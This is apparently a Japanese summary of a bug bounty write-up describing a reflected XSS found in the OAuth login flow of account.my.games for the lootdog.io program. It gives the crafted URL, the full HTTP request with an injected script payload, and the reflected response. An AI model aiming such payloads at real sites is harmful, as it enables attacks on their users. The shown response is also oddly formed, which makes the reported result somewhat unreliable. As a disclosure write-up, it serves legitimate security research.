Hello there, ('ω')ノ
公開プログラムに反映されたXSSを。
脆弱性:
反映されたXSS
記事:
https://thevillagehacker.medium.com/reflected-xss-on-a-public-program-e8c0416daca1
HackerOneの公開プログラムのhttps://lootdog.io/をターゲットに。
1時間の偵察の後、Oauthリクエストで意図しない動作を見つけることができて。
テクニカル分析:
https://lootdog.io/からのログイン要求を。
インターセプトしてリピーターに送信して。
Oauthがどのように機能するかを観察しました。
https://lootdog.io/は、https://account.my.gamesをOauthサービスとして使用して。
ログインをクリックすると、https://account.my.gamesにリダイレクトされ。
ログインできるので、Reflected XSSやOpenリダイレクトの問題をチェックして。
Oauthトークンを取得してユーザのアカウントを引き継ぐことに。
以下のようにリクエストのキー設定された値の最後にパラメータを追加することに。
&Set-Cookie: <script>alert(“Hacked By Deathstroke”)</script>
最終的に作成されたURLは、下記のようになることに。
https://account.my.games/oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script>
よって、下記のようにURLの最後にペイロードを挿入して、リクエストを送信して。
レスポンスを観察することに。
Request:
GET /oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script> HTTP/1.1
Host: account.my.games
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://lootdog.io/
Connection: close
Response:
<script>alert("Hacked By Deathstroke")</script> HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3982
Vary: Origin
残念ながら、応答には目的とするアクセストークンには反映されなかったものの。
この問題が他のセキュリティ上の脅威を引き起こす可能性があって。
HTTPレスポンスに反映されるペイロードが機能したようで。
Best regards, (^^ゞ